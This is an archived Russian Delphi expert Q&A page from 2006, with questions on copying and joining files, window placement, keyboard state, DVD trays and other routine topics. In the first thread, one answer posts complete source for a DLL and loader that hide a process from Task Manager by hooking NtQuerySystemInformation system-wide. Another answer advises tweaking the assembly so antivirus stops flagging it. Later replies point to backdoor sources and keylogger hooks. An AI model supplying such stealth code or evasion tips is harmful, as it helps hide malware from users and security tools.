Разделы сайта:

Новости сайта
Delphi.int.ru Expert
Файловый архив
∙ Статьи
∙ Компоненты
∙ Plug-in's
∙ Документация
∙ Исходники
∙ Изображения
∙ Игры
∙ Программы
Форум
F.A.Q.
Архив рассылки
Каталог сайтов
Обратная связь

Разделы рассылки:

Авторское слово
Delphi.int.ru Expert
Статья по Delphi
Файловый архив
Друзья
Юмор

Количество читателей рассылки: 5323.

Текст вопроса:

Как в XP скрыть процесс из диспетчера задач
Заранее спасибо

Автор вопроса: Ташбулатов Камиль РУст (статус: Посетитель)
Дата и время отправки вопроса: 26.06.2006, 09:46
Получено ответов на вопрос: 4
Сообщений в форуме вопроса: 0
Страница данного вопроса >>

» Ответы на данный вопрос:

1. [Отвечает: Вадим К (статус: 7-ой класс), 26.06.2006, 11:30]:

Скажем так, решать на делфи подобные задачи - изврат. Наиболее лучше это делать на ассемблере. Почему? Вам прийдётся оперировать системными таблицами операционной системы. Но самое главное, это будет драйвер. Если не драйвер, то сделать это можно будет токо с правами админа, да и то, через одно место.

А почему Вам скрывать свой процесс? Здесь два варианта:
-Это вирус или программа шутка (убивать таких!)
-Прога для интернет клуба, что бы не могли закрыть(нада, и не такое закроют!).

А теперь раскажу как программируется эта вещь (токо идея!).
Когда диспетчер хочет отобразить список процессов, он берёт в памяти начало списка процессов (это будет первый процесс). Выводит эго данный. В одной с характеристик будет записан адрес описания следующего процесса.
Идея заключается в том, что бы подменить этот адрес или перехватить функцию, которая это делает и подменить её своей, которая будет сверять имя процесса и при надобности пропускать.
Почитать об этом всём можно здесь www.wasm.ru

Но есть ещё один метод. Написать программу, которая будет похожа на диспетчер задач, но не будет отображать определённые процессы. Вот это уже интересная задача.

2. [Отвечает: Alexander A. Gribanov (статус: 2-ой класс), 26.06.2006, 12:43]:

Ну вопрос немного не по Delphi... Тебе может помочь, например, книга Джеффри Рихтера "Windows для профессионалов". По googl'у можно найти електронный вариант.

3. [Отвечает: bruder (статус: 3-ий класс), 26.06.2006, 13:23]:

Здравствуйте, Ташбулатов Камиль РУст.
Способ 1: Грохнуть диспетчер :)
Способ 2: Ring0.......
В приложении исходник dll и самой программы.

Приложение:

library Hide; uses Windows, TlHelp32; type SYSTEM_INFORMATION_CLASS = ( SystemBasicInformation, SystemProcessorInformation, SystemPerformanceInformation, SystemTimeOfDayInformation, SystemNotImplemented1, SystemProcessesAndThreadsInformation, SystemCallCounts, SystemConfigurationInformation, SystemProcessorTimes, SystemGlobalFlag, SystemNotImplemented2, SystemModuleInformation, SystemLockInformation, SystemNotImplemented3, SystemNotImplemented4, SystemNotImplemented5, SystemHandleInformation, SystemObjectInformation, SystemPagefileInformation, SystemInstructionEmulationCounts, SystemInvalidInfoClass1, SystemCacheInformation, SystemPoolTagInformation, SystemProcessorStatistics, SystemDpcInformation, SystemNotImplemented6, SystemLoadImage, SystemUnloadImage, SystemTimeAdjustment, SystemNotImplemented7, SystemNotImplemented8, SystemNotImplemented9, SystemCrashDumpInformation, SystemExceptionInformation, SystemCrashDumpStateInformation, SystemKernelDebuggerInformation, SystemContextSwitchInformation, SystemRegistryQuotaInformation, SystemLoadAndCallImage, SystemPrioritySeparation, SystemNotImplemented10, SystemNotImplemented11, SystemInvalidInfoClass2, SystemInvalidInfoClass3, SystemTimeZoneInformation, SystemLookasideInformation, SystemSetTimeSlipEvent, SystemCreateSession, SystemDeleteSession, SystemInvalidInfoClass4, SystemRangeStartInformation, SystemVerifierInformation, SystemAddVerifier, SystemSessionProcessesInformation ); _IMAGE_IMPORT_DESCRIPTOR = packed record case Integer of 0: ( Characteristics: DWORD); 1: ( OriginalFirstThunk: DWORD; TimeDateStamp: DWORD; ForwarderChain: DWORD; Name: DWORD; FirstThunk: DWORD); end; IMAGE_IMPORT_DESCRIPTOR = _IMAGE_IMPORT_DESCRIPTOR; PIMAGE_IMPORT_DESCRIPTOR = ^IMAGE_IMPORT_DESCRIPTOR; PFARPROC = ^FARPROC; const ImagehlpLib = 'IMAGEHLP.DLL'; function ImageDirectoryEntryToData(Base: Pointer; MappedAsImage: ByteBool; DirectoryEntry: Word; var Size: ULONG): Pointer; stdcall; external ImagehlpLib name 'ImageDirectoryEntryToData'; function AllocMem(Size: Cardinal): Pointer; begin GetMem(Result, Size); FillChar(Result^, Size, 0); end; procedure ReplaceIATEntryInOneMod(pszCallerModName: Pchar; pfnCurrent: FarProc; pfnNew: FARPROC; hmodCaller: hModule); var ulSize: ULONG; pImportDesc: PIMAGE_IMPORT_DESCRIPTOR; pszModName: PChar; pThunk: PDWORD; ppfn: PFARPROC; ffound: LongBool; written: DWORD; begin pImportDesc := ImageDirectoryEntryToData(Pointer(hmodCaller), TRUE, IMAGE_DIRECTORY_ENTRY_IMPORT, ulSize); if pImportDesc = nil then exit; while pImportDesc.Name <> 0 do begin pszModName := PChar(hmodCaller + pImportDesc.Name); if (lstrcmpiA(pszModName, pszCallerModName) = 0) then break; Inc(pImportDesc); end; if (pImportDesc.Name = 0) then exit; pThunk := PDWORD(hmodCaller + pImportDesc.FirstThunk); while pThunk^ <> 0 do begin ppfn := PFARPROC(pThunk); fFound := (ppfn^ = pfnCurrent); if (fFound) then begin VirtualProtectEx(GetCurrentProcess, ppfn, 4, PAGE_EXECUTE_READWRITE, written); WriteProcessMemory(GetCurrentProcess, ppfn, @pfnNew, sizeof(pfnNew), Written); exit; end; Inc(pThunk); end; end; var addr_NtQuerySystemInformation: Pointer; mypid: DWORD; fname: PCHAR; mapaddr: PDWORD; hideOnlyTaskMan: PBOOL; { By Wasm.ru} function myNtQuerySystemInfo(SystemInformationClass: SYSTEM_INFORMATION_CLASS; SystemInformation: Pointer; SystemInformationLength: ULONG; ReturnLength: PULONG): LongInt; stdcall; label onceagain, getnextpidstruct, quit, fillzero; asm push ReturnLength push SystemInformationLength push SystemInformation push dword ptr SystemInformationClass call dword ptr [addr_NtQuerySystemInformation] or eax,eax jl quit cmp SystemInformationClass,SystemProcessesAndThreadsInformation jne quit onceagain: mov esi,SystemInformation getnextpidstruct: mov ebx,esi cmp dword ptr [esi],0 je quit add esi,[esi] mov ecx,[esi+44h] cmp ecx,mypid jne getnextpidstruct mov edx,[esi] test edx,edx je fillzero add [ebx],edx jmp onceagain fillzero: and [ebx],edx jmp onceagain quit: mov Result,eax end; procedure InterceptFunctions; var hSnapShot: THandle; me32: MODULEENTRY32; begin addr_NtQuerySystemInformation := GetProcAddress(getModuleHandle('ntdll.dll'), 'NtQuerySystemInformation'); hSnapShot := CreateToolHelp32SnapShot(TH32CS_SNAPMODULE, GetCurrentProcessId); if hSnapshot = INVALID_HANDLE_VALUE then exit; try ZeroMemory(@me32, sizeof(MODULEENTRY32)); me32.dwSize := sizeof(MODULEENTRY32); Module32First(hSnapShot, me32); repeat ReplaceIATEntryInOneMod('ntdll.dll', addr_NtQuerySystemInformation, @MyNtQuerySystemInfo, me32.hModule); until not Module32Next(hSnapShot, me32); finally CloseHandle(hSnapShot); end; end; procedure UninterceptFunctions; var hSnapShot: THandle; me32: MODULEENTRY32; begin addr_NtQuerySystemInformation := GetProcAddress(getModuleHandle('ntdll.dll'), 'NtQuerySystemInformation'); hSnapShot := CreateToolHelp32SnapShot(TH32CS_SNAPMODULE, GetCurrentProcessId); if hSnapshot = INVALID_HANDLE_VALUE then exit; try ZeroMemory(@me32, sizeof(MODULEENTRY32)); me32.dwSize := sizeof(MODULEENTRY32); Module32First(hSnapShot, me32); repeat ReplaceIATEntryInOneMod('ntdll.dll', @MyNtQuerySystemInfo, addr_NtQuerySystemInformation, me32.hModule); until not Module32Next(hSnapShot, me32); finally CloseHandle(hSnapShot); end; end; var HookHandle: THandle; function CbtProc(code: integer; wparam: integer; lparam: integer): Integer; stdcall; begin Result := 0; end; procedure InstallHook; stdcall; begin HookHandle := SetWindowsHookEx(WH_CBT, @CbtProc, HInstance, 0); end; var hFirstMapHandle: THandle; function HideProcess(pid: DWORD; HideOnlyFromTaskManager: BOOL): BOOL; stdcall; var addrMap: PDWORD; ptr2: PBOOL; begin mypid := 0; result := false; hFirstMapHandle := CreateFileMapping($FFFFFFFF, nil, PAGE_READWRITE, 0, 8, 'NtHideFileMapping'); if hFirstMapHandle = 0 then exit; addrMap := MapViewOfFile(hFirstMapHandle, FILE_MAP_WRITE, 0, 0, 8); if addrMap = nil then begin CloseHandle(hFirstMapHandle); exit; end; addrMap^ := pid; ptr2 := PBOOL(DWORD(addrMap) + 4); ptr2^ := HideOnlyFromTaskManager; UnmapViewOfFile(addrMap); InstallHook; result := true; end; exports HideProcess; var hmap: THandle; procedure LibraryProc(Reason: Integer); begin if Reason = DLL_PROCESS_DETACH then if mypid > 0 then UninterceptFunctions() else CloseHandle(hFirstMapHandle); end; begin hmap := OpenFileMapping(FILE_MAP_READ, false, 'NtHideFileMapping'); if hmap = 0 then exit; try mapaddr := MapViewOfFile(hmap, FILE_MAP_READ, 0, 0, 0); if mapaddr = nil then exit; mypid := mapaddr^; hideOnlyTaskMan := PBOOL(DWORD(mapaddr) + 4); if hideOnlyTaskMan^ then begin fname := allocMem(MAX_PATH + 1); GetModuleFileName(GetModuleHandle(nil), fname, MAX_PATH + 1); // if not (ExtractFileName(fname)='taskmgr.exe') then exit; end; InterceptFunctions; finally UnmapViewOfFile(mapaddr); CloseHandle(Hmap); DLLProc := @LibraryProc; end; end. Текст програмки, прячущей саму себя: Код program HideProj; uses windows, messages; function HideProcess(pid: DWORD; HideOnlyFromTaskManager: BOOL): BOOL; stdcall; external 'hide.dll'; function ProcessMessage(var Msg: TMsg): Boolean; var Handled: Boolean; begin Result := False; begin Result := True; if Msg.Message <> WM_QUIT then begin Handled := False; begin TranslateMessage(Msg); DispatchMessage(Msg); end; end end; end; procedure ProcessMessages; var Msg: TMsg; begin while ProcessMessage(Msg) do {loop} ; end; begin HideProcess(GetCurrentProcessId, false); while true do begin ProcessMessages; end; end.

4. [Отвечает: Матвеев Игорь Владимирович (статус: 10-ый класс), 26.06.2006, 13:49]:

Это можно сделать с помощью dll библиотеки, смотрите готовый пример в http://www.delphi.int.ru/expert/?step=download&id=4. Но некоторые антивири считают asm код в этой dll вирусом, поэтому иногда нужно подправить его - вставить лишние nop'ы, поменять mov на push/pop и т.д.
А вообще, заглядывайте на http://www.wasm.ru и больше не задавайте таких вопросов.

Текст вопроса:

Добрый день.
Пишу не вирус!!!
Есть ли у кого исходник программы для передачи данных через сокеты?
Необходимо чтобы пользователь видел список файлов и мог делать с ними следующее: скачивать, закачивать, удалять, переим, запускать и прочее.
Также нужен редактор реестра (удалённый).
Пишу прогу для администратирования. В Delphi я -1 (даже не ноль :) )
Заранее благодарен
РS интерфейс файл-менеджера желательно как у троянов (или как их там).
Исходники можно скинуть на kama2005@mail.ru

Автор вопроса: Ташбулатов Камиль РУст (статус: Посетитель)
Дата и время отправки вопроса: 26.06.2006, 15:23
Получено ответов на вопрос: 1
Сообщений в форуме вопроса: 1
Страница данного вопроса >>

» Ответы на данный вопрос:

1. [Отвечает: min@y™ (статус: 2-ой класс), 26.06.2006, 16:15]:

Скачай себе базу знаний Delphi World 6.0 вот отсюда: [url]http://dw.scienceinfo.de/DW6_full.exe[/url] (~31 МБ). Я вот сейчас глянул - там есть по крайней мере 4 статьи с исходниками, которые называются "[b]BackDoor - удалённое администрирование[/b]". Это то, что тебе надо.

З.Ы. Поскольку в Delphi ты -1, то настоятельно рекомендую начать с написания чего-нибудь попроще, а Ctrl+C/Ctrl+V тебя ничему не научит.

Текст вопроса:

здраствуте
прочитал я статю - Копирование файлов - Выпуск #43 (08 марта 2006 г.) и вот сечас все мучаюсь как переделать код чтоб не скопировать файл - а чтоб соединить два файла.
за ранее благодарен

Приложение:

1. Копирование методом Pascal. type TCallBack=procedure (Position,Size:Longint); {Для индикации процесса копирования} procedure FastFileCopy(Const InfileName, OutFileName: String; CallBack: TCallBack); Const BufSize = 3*4*4096; { 48Kbytes дает прекрасный результат } type PBuffer = ^TBuffer; TBuffer = array [1..BufSize] of Byte; var Size : integer; Buffer : PBuffer; infile, outfile : File; SizeDone,SizeFile: Longint; begin if (InFileName <> OutFileName) then begin buffer := Nil; AssignFile(infile, InFileName); System.Reset(infile, 1); try SizeFile := FileSize(infile); AssignFile(outfile, OutFileName); System.Rewrite(outfile, 1); try SizeDone := 0; New(Buffer); repeat BlockRead(infile, Buffer^, BufSize, Size); Inc(SizeDone, Size); CallBack(SizeDone, SizeFile); BlockWrite(outfile,Buffer^, Size) until Size < BufSize; FileSetDate(TFileRec(outfile).Handle, FileGetDate(TFileRec(infile).Handle)); finally if Buffer <> Nil then Dispose(Buffer); System.close(outfile) end; finally System.close(infile); end; end else Raise EInOutError.Create('File cannot be copied into itself'); end; 2. Копирование методом потока. procedure FileCopy(Const SourceFileName, TargetFileName: String); var S,T : TFileStream; begin S := TFileStream.Create(sourcefilename, fmOpenRead ); try T := TFileStream.Create(targetfilename, fmOpenWrite or fmCreate); try T.CopyFrom(S, S.Size ) ; FileSetDate(T.Handle, FileGetDate(S.Handle)); finally T.Free; end; finally S.Free; end; end; 3. Копирование методом LZExpand. uses LZExpand; procedure CopyFile(FromFileName, ToFileName : string); var FromFile, ToFile: File; begin AssignFile(FromFile, FromFileName); AssignFile(ToFile, ToFileName); Reset(FromFile); try Rewrite(ToFile); try if LZCopy(TFileRec(FromFile).Handle, TFileRec(ToFile).Handle)<0 then raise Exception.Create('Error using LZCopy') finally CloseFile(ToFile); end; finally CloseFile(FromFile); end; end;

Автор вопроса: Oleg (статус: Посетитель)
Дата и время отправки вопроса: 26.06.2006, 18:48
Получено ответов на вопрос: 4
Сообщений в форуме вопроса: 1
Страница данного вопроса >>

» Ответы на данный вопрос:

1. [Отвечает: Помфюк Владимир Степанович (статус: 6-ой класс), 26.06.2006, 18:59]:

Здравствуйте, Oleg!
приблизительно так:

1. Копирование методом Pascal.
type
TCallBack=procedure (Position,Size:Longint); {Для индикации процесса копирования}

procedure FastFileCopy(Const InfileName1,InfileName2, OutFileName: String; CallBack: TCallBack);
Const BufSize = 3*4*4096; { 48Kbytes дает прекрасный результат }
type
PBuffer = ^TBuffer;
TBuffer = array [1..BufSize] of Byte;
var
Size : integer;
Buffer : PBuffer;
infile1, infile2, outfile : File;
SizeDone,SizeFile: Longint;
begin
if (InFileName1 <> OutFileName)and(InFileName2 <> OutFileName) then
begin
buffer := Nil;
AssignFile(infile1, InFileName1);
System.Reset(infile1, 1);
AssignFile(infile1, InFileName2);
System.Reset(infile1, 1);
try
AssignFile(outfile, OutFileName);
System.Rewrite(outfile, 1);
try
New(Buffer);
SizeFile := FileSize(infile1);
SizeDone := 0;
repeat
BlockRead(infile1, Buffer^, BufSize, Size);
Inc(SizeDone, Size);
CallBack(SizeDone, SizeFile);
BlockWrite(outfile,Buffer^, Size)
until Size < BufSize;
FileSetDate(TFileRec(outfile).Handle,
FileGetDate(TFileRec(infile1).Handle));

SizeFile := FileSize(infile2);
SizeDone := 0;
repeat
BlockRead(infile2, Buffer^, BufSize, Size);
Inc(SizeDone, Size);
CallBack(SizeDone, SizeFile);
BlockWrite(outfile,Buffer^, Size)
until Size < BufSize;
finally
if Buffer <> Nil then Dispose(Buffer);
System.close(outfile)
end;
finally
System.close(infile1);
System.close(infile2);
end;
end else
Raise EInOutError.Create('File cannot be copied into itself');
end;

Оценка за ответ: 2.
Комментарий: не работает :( пустой файл получается да и хотелось чтоб Файл1 приплюсовалсья к Файлу2

2. [Отвечает: min@y™ (статус: 2-ой класс), 27.06.2006, 08:17]:

Предлагаю использовать 2 экземпляра TFileStream. Могу, если надо, написать пример. Будет просто и изящно. Но сейчас времени нету, пиши в мыло или сюда на форум.

3. [Отвечает: bruder (статус: 3-ий класс), 27.06.2006, 09:57]:

Здравствуйте, Oleg!
Сам пользуюсь этим: (один минус-получившийся файл использовать не удасться, его нужно будет сначало "распаковать".)

Приложение:

unit Unit1; interface uses Windows, Forms, Classes, Controls, StdCtrls; type TForm1 = class(TForm) Button1: TButton; procedure Button1Click(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation {$R *.dfm} Procedure AddToStream ( Source , Dest : TStream ); var Size : Integer ; begin Source.position := 0 ; Size := Source.Size ; Dest.Write(Size,SizeOf(Integer)); Dest.CopyFrom(Source,Source.size); end; Procedure ThisISHowIPutFilesIn; var ABigFileStream, SomeSmallFiles : TMemoryStream ; begin ABigFileStream := TMemoryStream.Create ; try SomeSmallFiles := TMemoryStream.Create ; try SomeSmallFiles.LoadFromFile('1.exe'); AddToStream(SomeSmallFiles,ABigFileStream); SomeSmallFiles.LoadFromFile('2.exe'); AddToStream(SomeSmallFiles,ABigFileStream); (*Можно продолжать и клеить ещё файлы*) finally SomeSmallFiles.Free ; end; ABigFileStream.SaveToFile('OutFile') finally ABigFileStream.free ; end; end; procedure TForm1.Button1Click(Sender: TObject); begin ThisISHowIPutFilesIn; end; end. ===="РАСПАКОВКА"===== Procedure GetFromStream ( Source , Dest : TStream ; Index : Integer ); Var Size , I : Integer ; begin Source.Position := 0 ; For i := 0 to index-1 do begin Source.Read(Size,SizeOf(Integer)); Source.Position := Source.Position + Size ; end; if Source.position = Source.Size then Raise EAccessViolation.Create('Index Out Of Bounds') ; Source.Read(Size,SizeOf(Integer)); Dest.Position := 0 ; Dest.Size := 0 ; Dest.CopyFrom(Source,Size); end; Procedure ThisISHowIGetStufOut; var ABigFileStream, SomeSmallFiles : TMemoryStream ; begin ABigFileStream := TMemoryStream.Create ; try ABigFileStream.LoadFromFile('OutFile'); SomeSmallFiles := TMemoryStream.Create ; try GetFromStream(ABigFileStream,SomeSmallFiles,0); SomeSmallFiles.SaveToFile('1.exe'); GetFromStream(ABigFileStream,SomeSmallFiles,1); SomeSmallFiles.SaveToFile('2.exe'); finally SomeSmallFiles.Free ; end; finally ABigFileStream.free ; end; end;

4. [Отвечает: Косолапов Дмитрий Юрьевич (статус: 2-ой класс), 27.06.2006, 10:03]:

В первом способе вместо Rewrite(outfile, 1) Reset(outfile, 1). Наверное, надо будет еще и спозиционироваться на конце файла (Seek).

Во втором способе вместо T := TFileStream.Create(targetfilename, fmOpenWrite or fmCreate) попробуй T := TFileStream.Create(targetfilename, fmOpenReadWrite)

В третьем способе - аналогично первому

Оценка за ответ: 3.

Текст вопроса:

Подскажите, что надо сделать, чтобы форма находилась поверх всех окон.
Спасибо!

Автор вопроса: Игорь Середюк (статус: Посетитель)
Дата и время отправки вопроса: 27.06.2006, 13:21
Получено ответов на вопрос: 6
Сообщений в форуме вопроса: 0
Страница данного вопроса >>

» Ответы на данный вопрос:

1. [Отвечает: Помфюк Владимир Степанович (статус: 6-ой класс), 27.06.2006, 14:19]:

Здравствуйте, Игорь Середюк!
Вам нужно свойствe FormStyle дать значение fsStayOnTop

Приложение:

FormStyle:=fsStayOnTop;

2. [Отвечает: Вадим К (статус: 7-ой класс), 27.06.2006, 14:24]:

Здравствуйте, Игорь Середюк!
У формы Formstyle="fsStayOnTop"
Но для полного функционала, наверное прийдётся перехватывать деактивацию формы и выводить её поверх. Но после того, как в 3.11 windows программисты взяли привычку выводить окошка повер всех, майкрософт зделала многое, что бы препятствовать этому.

3. [Отвечает: Евгений В (статус: 1-ый класс), 27.06.2006, 14:33]:

Здравствуйте, Игорь Середюк!
В свойстве FormStyle поставте значение fsStayOnTop.

4. [Отвечает: Alexander A. Gribanov (статус: 2-ой класс), 27.06.2006, 17:01]:

А чем не угодило свойство формы FormStyle, установленное в fsStayOnTop ?
Если действительно чем-то не угодило - можно посмотреть на win-API функцию SetForegroundWindow() и те, что рядом с ней...

5. [Отвечает: min@y™ (статус: 2-ой класс), 28.06.2006, 08:15]:

Если надо поверх всех окон ТВОЕГО приложения, то действительно, FormStyle:= fsStayOnTop;. А если надо повесить окно поверх ВСЕХ окон СИСТЕМЫ, то см. приложение.

Приложение:

procedure TMainForm.FormActivate(Sender: TObject); begin SetWindowPos(Handle, hwnd_TopMost, Left, Top, Width, Height, swp_noActivate); end;

6. [Отвечает: Programme® (статус: 1-ый класс), 28.06.2006, 19:26]:

Здравствуйте, Игорь Середюк!
Для того, чтобы форму сделать поверх окон надо в пункте "FormStyle" "Инспектор объектов" выбрать "fsStayOnTop", либо смотри приложение.

Приложение:

Procedure TForm1.Button1Click(Sender:TObject); Begin Form1.FormStyle:=fsStayOnTop; End;

Текст вопроса:

На невидимой форме3 расположен РичЕдит1 (на всб форму). В какое то время РичЕдит заполняется строками. Мне нужно, чтобы только при свернутой главной форме1, заполнился РичЕдит1 на форме3. После этого надо чтобы форма3 изменила разме так, чтобы ширина равнялась длине самой длиной строки в РичЕдит1 (но не больше чем длина строки в 22 символа шрифтом Courier New размером Size=10, и + может быть ширина полосы прокрутки), а высота должна быть такой, сколько занимают строки в РичЄдит1(но не больше чем на 6 строк темже шрифтом). При этом, если в РичЕдит1 строк больше чем 6, то надо чтобы включилась полоса прокрутки, и форма3 изменила ширину на ширину полосы прокрутки.
После этого форма должна стать видимой на некоторое время (заданое пользователем в ИНИ файле, домустим 3сек.), и находиться в это время поверх всех окон. При она должна отобразится в прамо нижнем углу так, чтобы нижний край формы3 "лежал" на панели задач (находился на уровне верхнего края панели задач), а правый край находился по правому краю видимой части монитора, или на несколько пунктов левее. При отображении формы3 на несколько секунд, главная форма1 должна оставаться свернутой.

Помогите, пожалуйста!!! Спасибо.

Автор вопроса: Игорь Середюк (статус: Посетитель)
Дата и время отправки вопроса: 27.06.2006, 13:46
Получено ответов на вопрос: 2
Сообщений в форуме вопроса: 0
Страница данного вопроса >>

» Ответы на данный вопрос:

1. [Отвечает: Помфюк Владимир Степанович (статус: 6-ой класс), 27.06.2006, 14:49]:

Здравствуйте, Игорь Середюк!
Courier New - моноширинный шрифт (начертание всех символов имеет одинаковую ширину), так что ширину символа можно померять например так: компоненту Edit даете свойство AutoSize:=true (шрифт и размер тоже разумеется меняете) и пишете в него один символ, замечаете ширину, дописываете второй - шиина изменяется. разница - один символ. Для уверенности можете еще несколько дописать - проверить. Высота - аналогично (возможно придется Memo расширять/сужать вручную, но для 6ти строк зависимость найдете более-менее точно).
RichEdit - "умный" и полосы прокрутки включает сам по мере надобности. Единственное что вам надо - при количестве строк более 6ти - изменить ширину формы (как узнать на сколько - см. выше :-) )
Чтоб задать положение формы Вам надо использовать Screen.DesktopHeight, Screen.DesktopWidth, Screen.DesktopTop, Screen.DesktopLeft
Поверх всех окон FormStyle:=fsStayOnTop;
Чтобы показать на 3 секунды и в это время что-то добавлялось в RichEdit следует использовать Timer (Как альтернатива можно просто показать окно "повесить" программу на 3 секунды и спрятать, но это - криво)

2. [Отвечает: bruder (статус: 3-ий класс), 27.06.2006, 17:11]:

Здравствуйте, Игорь Середюк!
Вот что у меня получилось. Ограничение не стал делать, времени не хватило, это не сложно и самому сделать.
http://www.delphi.int.ru/expert/?step=download&id=5

Текст вопроса:

Уважаемые эксперты!
Столкнулся с проблемой... В приложении функция, которая возвращает код нажатой на клавиатуре клавиши. Но происходит странное - если форма свёрнута, то функция перестаёт работать! Вызов происходит по таймеру, таймер работает. А вот функция - уже нет. В справке GetKeyboardState() не описано о каких-либо ограничениях этой функции... Тогда почему же не работает? Очень надеюсь на вашу помощь! Заранее благодарю за ответы.

Приложение:

function KeyPressed(minVkCode : TVirtualKeyCode = 0) : TVirtualKeyCode; var i : Integer; buf : TKeyboardState; begin Assert(minVkCode>=0); Result:=-1; if GetKeyboardState(buf) then begin for i:=minVkCode to High(buf) do begin if (buf[i] and $80)<>0 then begin Result:=i; Break; end; end; end; end;

Автор вопроса: Dron (статус: 8-ой класс)
Дата и время отправки вопроса: 27.06.2006, 16:42
Получено ответов на вопрос: 2
Сообщений в форуме вопроса: 3
Страница данного вопроса >>

» Ответы на данный вопрос:

1. [Отвечает: min@y™ (статус: 2-ой класс), 28.06.2006, 09:05]:

Создал я проект, кинул на форму таймер и Мемо. В обработчике OnTimer() написал код (см. приложение). Интервал у таймера поставил по минимуму. Так вот, в мемо добавляется строка, только когда окно программы активно. Я свернул все окна, кроме окна этой проги и попытался переименовать ярлык на рабочем столе, используя клаву "пробел". В Мемо не добавилось ни одной строки. Видимо, функция GetKeyboardState() работает только в активном приложении/окне. А активное приложение очищает буфер клавы после считывания его содержимого.

Если пишешь кейлоггер, то советую поставить клавиатурный хук (SetWindowsHookEx()). Статей на эту тему в инете - тьма.

Приложение:

procedure TForm1.Timer1Timer(Sender: TObject); begin if KeyPressed(VK_SPACE) = VK_SPACE then Memo1.Lines.Add('Нажат пробел - ' + TimeToStr(Time)); end;

Оценка за ответ: 3.
Комментарий: Вы просто повторили мой вопрос. Я спрашивал, как от этого избавиться. Хуки не предлагать.

2. [Отвечает: Матвеев Игорь Владимирович (статус: 10-ый класс), 28.06.2006, 14:02]:

Здравствуйте, Dron!
GetKeyboardState() показывает состояние клавиатуры в соостетствии с фокусом ввода и, естественно, не реагирует на нажатия клавиш, когда фокус ввода не в Вашем приложении.
Вы можете использовать GetAsyncKeyState(), описание есть в SDK.

Оценка за ответ: 5.
Комментарий: Спасибо, теперь понял. Но функция GetAsyncKeyState() мне не очень подходит - нужно узнавать именно код нажатой клавиши, а какая будет нажата - неизвестно. Перебор в цикле ничего хорошего не даст - только загрузит процессор. Игорь, какие ещё есть варианты решения проблемы?

Текст вопроса:

Возможно и в Delphi-программе открыть DVD дисковод?

Автор вопроса: Иван (статус: Посетитель)
Дата и время отправки вопроса: 27.06.2006, 21:48
Получено ответов на вопрос: 3
Сообщений в форуме вопроса: 0
Страница данного вопроса >>

» Ответы на данный вопрос:

1. [Отвечает: min@y™ (статус: 2-ой класс), 28.06.2006, 08:44]:

Скачай пакет модулей DelphiWorks вот отсюда: http://www.torry.net/vcl/packs/middle/dw.zip
Там есть модуль DriveWorks.pas, в котором, помимо прочего, есть вот такие 2 функции:

function OpenCD(Drive: Char): Boolean;
function CloseCD(Drive: Char): Boolean;

О результатах работы этих функций сообщи на форум этого вопроса.

2. [Отвечает: Косолапов Дмитрий Юрьевич (статус: 2-ой класс), 28.06.2006, 10:29]:

Если не хочется использовать сторонние модули, вот две процедуры. 1-я получает список всех CD-ROM (я думаю, пригодится), а 2-я открывает/закрывает трей нужного диска. И не забудь подключить модуль mmsystem.

Приложение:

//Получение списка CD-ROM и иже с ними procedure CDROMsList(var DrvLst:TStringList); var buf:array[0..255] of char; tmp:string; begin if DrvLst=nil then DrvLst:=TStringList.Create; DrvLst.Clear; GetLogicalDriveStrings(256,buf); tmp:=''; for i:=0 to 254 do begin if buf[i]<>#0 then tmp:=tmp+buf[i] else begin if GetDriveType(pchar(tmp))=DRIVE_CDROM then DrvLst.Add(tmp); tmp:=''; if buf[i+1]=#0 then break; end; end; end; //Открытие лотка заданного дисковода d:string, в виде строк "D:", "E:" и т.п. //Если DoEject=true - выдвигаем, если false, то закрываем procedure CloseEject(Drv:string;DoEject:boolean); var OpenParm:TMCI_OPEN_PARMS; SetParm:TMCI_Set_Parms; GenParm:TMCI_GENERIC_PARMS; ID:integer; begin openparm.lpstrDeviceType:=pchar('CDAudio'); openparm.lpstrElementName:=pchar(Drv); if mciSendCommand(0, MCI_OPEN,MCI_OPEN_TYPE or MCI_WAIT or MCI_OPEN_ELEMENT, LongInt(@OpenParm))=0 then begin ID:=openparm.wDeviceID; if DoEject then mciSendCommand(ID,MCI_SET,MCI_WAIT or MCI_SET_DOOR_OPEN,LongInt(@SetParm)) else mciSendCommand(ID,MCI_SET,MCI_WAIT or MCI_SET_DOOR_CLOSED,LongInt(@SetParm)); mciSendCommand(ID,MCI_CLOSE,0,LongInt(@GenParm)); end; end;

3. [Отвечает: Матвеев Игорь Владимирович (статус: 10-ый класс), 28.06.2006, 14:19]:

Здравствуйте, Иван!
Скажу Вам по секрету, открытие/закрытие DVD абсолютно ничем не отличается от открытия/закрытия CD, поскольку за это отвечает единый Media Control Interface (MCI), реализованный ввиде winmm.dll. Большинство функций реализуются через посылку командных строк в функцию mciSendStringA.
Открыть привод: "set cdaudio door open"
Закрыть привод: "set cdaudio door closed".
Готовых примеров полно в Интернете.
P.S. Просто добавил к предыдущим ответам, чтобы было понятно как это работает.

Текст вопроса:

Уважаемые эксперты! В продолжение вопроса №66... Всё получилось сделать, только теперь небольшая проблема. Иногда вместо символов программа получает непечатаемые символы. Обычно они отображаются как узкие прямоугольники, похожие на букву "I", но бОльшей толщины. Собственно вопрос: как проверить - печатный это символ или какой-то служебный? Всё дело в том, что некоторые функции из-за этих символов вылетают с ошибкой... Заранее благодарю.

Автор вопроса: Dron (статус: 8-ой класс)
Дата и время отправки вопроса: 28.06.2006, 17:23
Получено ответов на вопрос: 1
Сообщений в форуме вопроса: 0
Страница данного вопроса >>

» Ответы на данный вопрос:

1. [Отвечает: Yurchik (статус: 3-ий класс), 29.06.2006, 01:31]:

Здравствуйте, Dron!
В принципе служебные символы имеют коды 0-31. Но тогда получается, что табуляция (#9) - тоже служебный символ.
В твоем случае можно создать множество печатных символов, а потом проверять символ на принадлежность к этому множеству:

type
TPrintSymbs = set of Char;
const
PrintSymbs: TPrintSymbs = ['0'..'9', 'A'..'Z', 'a'..'z', ' ', ...]; // нужно заполнить всеми печатаемыми символами
...
if chr($20) in PrintSymbs then
...

Наверно это не самый оптимальный вариант. Может уже написаны функции, позволяющие делать нужную тебе проверку. Возможно, проще модифицировать твои функции, чтобы они корректно реагировали на любые символы.
Во всяком случае, это рабочий вариант. Удачи!

Оценка за ответ: 5.

Текст вопроса:

Возможно ли в Windows XP програмно включить/отключить индикатор CAPS LOCK, NUM LOCK или Scroll Lock.
Функция SetKeyboardState работает только в Windows 98.

Автор вопроса: Иван (статус: Посетитель)
Дата и время отправки вопроса: 28.06.2006, 19:26
Получено ответов на вопрос: 2
Сообщений в форуме вопроса: 0
